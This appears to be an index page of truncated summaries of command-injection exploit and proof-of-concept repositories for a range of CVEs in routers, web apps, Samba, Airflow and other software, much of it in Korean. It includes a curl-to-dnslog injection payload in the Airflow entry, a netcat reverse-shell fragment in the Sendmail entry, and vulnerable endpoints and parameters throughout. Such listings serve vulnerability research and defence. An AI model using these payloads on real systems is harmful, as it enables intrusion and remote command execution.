YouPHPTube Encoder 2.3 - Command Injection

Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack. id: CVE-2019-5129 info: name: YouPHPTube Encoder 2.3 - Command...

DrayTek Vigor - Command Injection

DrayTek Gateway devices Vigor2960, Vigor300B, etc. are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output. id: CVE-2024-12987 info: name: DrayTek Vigor - Command...

Exploit_CVE-2025-37164

ExploitCVE-2025-37164 ! 이 스크립트는 교육 목적으로만 제작되었습니다 CVE-2025-37164용 익스플로잇 설명 : 이 스크립트는 HPE OneView에 영향을 미치는 CVE-2025-37164에 대한 간단한 익스플로잇을 제공하며, 자산이 취약한지 검증하는 데 사용할 수 있습니다. 사용법 : git clone https://github.com/LACHHAB-Anas/ExploitCVE-2025-37164.git cd ExploitCVE-2025-37164 pip install requests 스크립트를...

CVE-2019-19781-CitrixRCE

Citrix 무단 원격 코드 실행 공격자 - CVE-2019-19781 참조: https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ 우회 방법: 1 - 삭제/수정된 스크립트 위치: /vpn/../vpns/portal/scripts/ 2 - perl 명령 주입 템플릿 주입 공격 후 슬래시"/" 문제...

Vulnerability-DLink-CVE-2025-14659

CVE-2025-14659: D-Link DHCP 데몬 명령어 주입 분석 Recreate CVE 프로젝트 | 오펜시브 보안 작성자: Peter Lin 날짜: 2026년 5월 프로젝트 개요: CVE-2025-14659는 펌웨어 v203b03을 실행하는 D-Link DIR-860LB1 무선 라우터의 DHCP 데몬 구성 요소를 대상으로 하는 명령어 주입 취약점을 보고했습니다. 이 명령어 주입은 공격자가 악의적인 호스트 이름으로 기존 임대를 갱신하는 DHCP 클라이언트를 통해 대상 라우터에서 root 권한으로 임의 명령을 실행할 수 ...

CVE-2023-26866

CVE-2023-26866 설명 GreenPacket OH736의 WR-1200 실내 장치, OT-235는 각각 펌웨어 버전 M-IDU-1.6.0.3V1.1 및 MH-46360-2.0.3-R5-GP에서 원격 명령 주입에 취약합니다. 명령은 사전 로그인 실행을 통해 실행되며 루트 권한으로 실행되어 완전한 탈취를 허용합니다. 본 취약점은 Lionel Musonza에 의해 확인되었습니다. 취약점 유형 CWE-77 Improper Neutralization of Special Elements used in a Command...

CVE-2026-27626-POC

CVE-2026-27626: OliveTin 비밀번호 인자 명령 주입 OliveTin은 관리자가 "actions"사용자가 웹 UI 또는 API에서 트리거할 수 있는, 매개변수화된 인자를 가진 셸 명령을 정의할 수 있게 해줍니다. OliveTin은 사용자가 제공한 값을 셸 명령에 템플릿화하기 전에 checkShellArgumentSafety를 통해 검사해야 합니다. 이 함수는 string, int, bool, choice의 네 가지 인자 유형을 검사합니다. password는 완전히 건너뛰고 값은 전혀 보지 않은 채 "안전함"을...

CVE-2026-50979

CVE-2026-50979: oPanel에서의 인증된 원격 코드 실행 개요 CVE ID: CVE-2026-50979 Product: oPanel 영향받는 버전: v1.19.50 및 이전 취약점 유형: 인증된 명령 인젝션 / 원격 코드 실행 RCE 취약한 구성 요소: /advanced/curl 엔드포인트 심각도: 치명적 설명 명령 인젝션 취약점이 oPanelv1.19.50 및 이전 버전의 advanced/curl 엔드포인트에 존재합니다. 애플리케이션은 url 매개변수에 제공된 사용자 입력을 시스템의 기본 curl 실행 루틴에...

CVE-2020-5752

CVE-2020-5752: Druva inSync 로컬 권한 상승 Druva inSync Windows 클라이언트v6.6.3 이하용 C 기반 익스플로잇입니다. 애플리케이션은 포트 6064에서 RPC 서비스를 노출하며, 경로 탐색을 통한 명령 주입 취약점이 있습니다. 이를 통해 로컬 사용자는 NT AUTHORITY\SYSTEM 권한으로 임의의 명령을 실행할 수 있습니다. 취약점 세부 정보 CVE: 2020-5752 테스트 환경: Windows 10 x64 권한 수준: 로컬 권한 상승LPE 사용법 1. 컴파일 gccMinGW를...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD 정보 이 저장소에는 취약한 OpenSMTPD6.6.1p1 환경을 포함하는 Docker 이미지를 빌드하는 데 필요한 파일이 들어 있습니다. 이 취약점을 통해 공격자는 특수하게 조작된 SMTP 세션, 특히 MAIL FROM 필드를 통해 임의의 명령을 실행할 수 있습니다. 사용법 1. Docker 이미지 빌드 Debian 기반: docker build -t opensmtpd-vuln -f Dockerfile . docker run -it --rm --name opensmtpd-vuln-te...

CVE-2026-48732-poc

CVE-2026-48732: Warp Remote SSH cwd 명령 인젝션 PoC 영어 버전 개요 이 저장소는 Warp 의 기존 SSH 백그라운드 명령 처리에 존재하는, 높은 심각도의 OS 명령 인젝션 취약점 CVE-2026-48732 의 Proof of Concept PoC입니다. 영향을 받는 Warp 버전에서는 SSH 세션에서 보고된 원격 작업 디렉토리cwd를 사용하여 헬퍼 명령을 구성했습니다. 이 경로에 포함된 작은따옴표가 이스케이프되지 않았기 때문에, 공격자가 제어하는 원격 호스트, 저장소 또는 디렉토리 이름에 의해...

CVE-2025-31644

CVE-2025-31644: F5 BIG-IP Appliance 모드의 명령 주입 “save” 명령의 “file” 매개변수는 명령 주입 공격에 취약하여, “/mgmt” 웹 API 또는 SSH “tmsh” 셸에 대한 관리자 권한을 보유한 인증된 공격자가 대상 시스템에서 “root” 사용자로 원격 코드 실행을 달성할 수 있게 합니다. 참고: 이 발견은 BIG-IP가 Appliance 모드로 실행될 때만 취약점으로 간주됩니다. 이는 관리자 역할의 인증된 공격자가 임의의 Advanced Shellbash 명령 실행을 방지하는...

CVE-2025-43920

CVE-2025-43920: GNU Mailman 2.1.39 cPanel/WHM 번들 이메일 제목을 통한 명령 주입 발견자: Firudin Davudzada & Musazada Aydan 공개 날짜: 2025년 4월 CVE ID: CVE-2025-43920 심각도: 5.4 중간 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N 공격 유형: 원격 영향받는 소프트웨어: GNU Mailman 2.1.39 cPanel/WHM과 번들됨 개요 cPanel 및 WHM과 함께 번들로 제공되는 GNU Mailm...

CVE-2026-78306

CVE-2026-78306 — DJI Drone DUML Command Injection over Bluetooth POC CVE record: https://vulners.com/cve/CVE-2026-78306 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78306 Description DJI drones expose a Bluetooth interface used to establish a connection to the drone's Wi-Fi interface and exchan...

CVE-2025-60787

CVE-2025-60787 — motionEye 인증된 원격 코드 실행 RCE CVE-2025-60787에 대한 인증된 명령 주입 PoC입니다. motionEye v0.43.1b4 및 이전 버전은 imagefilename과 같은 사용자 제어 카메라 구성 값을 충분한 정화 없이 Motion 구성에 기록하여, 해당 값이 처리될 때 명령 실행을 허용합니다. 승인된 테스트 및 연구용으로만 사용하세요. 소유하지 않거나 테스트에 대한 명시적 허가가 없는 시스템에는 사용하지 마십시오. 기능 Signed API request - camera...

CVE-2024-6333

CVE-2024-6333 - 제록스 인증된 원격 코드 실행 제록스 WorkCentre 프린터의 네트워크 문제 해결 로그 기능을 통한 인증된 원격 코드 실행 취약점입니다. 설명 네트워크 문제 해결 로그 기능/properties/security/networktroubleshootinglog.php은 대상 서버 매개변수security.nwtroubleshoot.destination.server를 적절히 검증하지 않아, 인증된 관리자가 임의의 OS 명령을 주입할 수 있습니다. 네트워크 로그 캡처가 시작되면 주입된 페이로드가 셸 명령으...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog를 통한 POC 2 curl -X 'POST' ...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Samba 인쇄 작업 이름 명령 주입 개요 CVE-2026-4480은 외부 인쇄 명령을 사용하는 특정 Samba 인쇄 구성에 영향을 미치는 명령 주입 취약점입니다. 이 취약점은 Samba가 사용자 제어 인쇄 작업 메타데이터를 셸 명령에 삽입할 때 셸 메타 문자를 제대로 이스케이프하지 않기 때문에 발생합니다. 특정 구성에서 공격자는 서버에서 임의의 명령을 실행하게 하는 악의적인 인쇄 작업 이름을 제공할 수 있습니다. 일부 프린터 공유가 게스트 액세스를 허용하므로 인증...

sendmail-clamav-exploit-CVE-2007-4560

Sendmail + ClamAV-Milter Exploit CVE-2007-4560 Sendmail + ClamAV-Milter 익스플로잇 성공 후: nc 1001 bash -i 테스트 환경 Sendmail 8.13.4/8.13.4/Debian-3sarge3 ClamAV-Milter 0.91.2 참고 자료 원본 익스플로잇: https://www.exploit-db.com/exploits/4761 CVE: ClamAV-Milter 명령 주입 관련 작성자: strikoder https://github.com/strikoder 원본...

CVE-2024-1655

CVE-2024-1655 설명 ASUS ExpertWiFi EBM63, EBM68 및 RT-AX57 Go 펌웨어는 12-04-2024 패치 이전 버전에서 splashpageSDN.cgi 함수에 명령 주입 취약점이 있습니다. 공격자가 특수하게 조작된 요청을 보내면 임의 코드 실행이 가능합니다. 참고 자료: 공식 보고서 사용법 이 취약점은 인증된 RCE원격 코드 실행입니다. 이 스크립트를 사용하려면 먼저 대상의 로그인 토큰쿠키 헤더의 asustoken 값을 획득해야 합니다. $ python3 CVE-2024-1655.py --ho...